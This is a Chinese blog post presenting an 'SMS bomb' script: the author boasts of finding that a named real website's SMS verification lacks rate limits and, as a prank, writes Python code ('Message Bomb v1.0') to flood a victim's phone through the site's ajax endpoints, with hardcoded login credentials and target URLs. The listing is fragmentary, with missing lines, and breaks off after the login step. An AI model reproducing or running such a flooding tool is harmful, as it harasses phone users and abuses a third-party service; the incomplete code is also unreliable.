短信炸弹——python模拟ajax请求
本来是想注册一个账号,搞网络安全的,你懂得,然后情不自禁的就测试了一下这个站http://www.lusen.com
然后就发现,验证码什么的都是形同虚设,没起到什么作用,那不就导致了CSRF了么,这个就不细说了
呵呵,没事了搞个恶作剧玩玩!!!
这里短息验证时没有次数限制,那不就好玩了,不停发,炸死你!!!
于是就操刀写了个脚本,但是发现发送不成功,郁闷很。。。
然后分析发现原始的请求头部是Content-Type: ajax/json;形式。
于是就郁闷了,平时都是POST直接提交加个Content-Type: application/x-www-form-urlencoded就好了,现在既然是这?!
还真没遇到这种情况的请求,替换了头部,但是返回服务器拒绝服务,返回状态吗500,奇葩的是还爆出了系统绝对路径~~~
我那个擦擦,这是什么情况,提交的Body数据和Header的Content-Type不一致还会导致这种错吗???
真不知道,知道的请大牛解释啊,求,求,求!!!
然后要解决问题,就分析了下,于是就有了下文。。。
=================================================================================
我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种。
常见的取值有:
application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用
application/json : 在 JSON RPC 调用时使用
application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用
Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。
在提交web表单数据时,Body中的数据格式要和Content-Type的值类型一致,如果Content-Type 设置错误会导致服务器拒绝服务
还有些网站的数据需要通过ajax来请求获得,ajax请求在发起请求之前必须设置必要的http头,还需要将请求数据封装为json格式。
下面的脚本代码就是这种情况,将请求数据封装为json格式:
req.add_header('Content-Type', 'application/json')
然后设置ajax请求形式的请求头:
req.add_header('X-Requested-With','XMLHttpRequest')
1 |
#-*-coding:utf-8-*- |
2 |
#!/usr/bin/python |
5 |
# Message Bomb v1.0 |
6 |
#From: sb.f4ck.net By: xfkxfk |
9 |
import json |
10 |
import urllib2 |
|
|
|
|
13 |
def request_ajax_url(url,body,referer=None,cookie=None,**headers): |
14 |
req = urllib2.Request(url) |
15 |
|
16 |
req.add_header('Content-Type', 'application/json') |
17 |
req.add_header('X-Requested-With','XMLHttpRequest') |
18 |
|
19 |
if cookie: |
20 |
req.add_header('Cookie',cookie) |
23 |
req.add_header('Referer',referer) |
24 |
|
25 |
if headers: |
26 |
for k in headers.keys(): |
27 |
req.add_header(k,headers[k]) |
28 |
|
29 |
postBody = json.dumps(body) |
30 |
|
31 |
response = urllib2.urlopen(req, postBody) |
32 |
|
33 |
if response: |
34 |
return response |
37 |
import time |
38 |
"use username:xfkxfk; use password:123456" |
39 |
|
40 |
login_url = 'http://www.lusen.com/member/Login.aspx' |
41 |
login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False} |
42 |
login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4" |
|
|
|
43 |
|
44 |
url = 'http://www.lusen.com/Member/MobileValidate.aspx' |
45 |
referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx" |
46 |
|
49 |
response = request_ajax_url(login_url,login_body,login_referer) |
50 |
|
51 |
if response.read() == "1": |
52 |
print " Login Success !!!" |
53 |
|
54 |
if response.headers.has_key('set-cookie'): |
补充:综合编程 , 安全编程 ,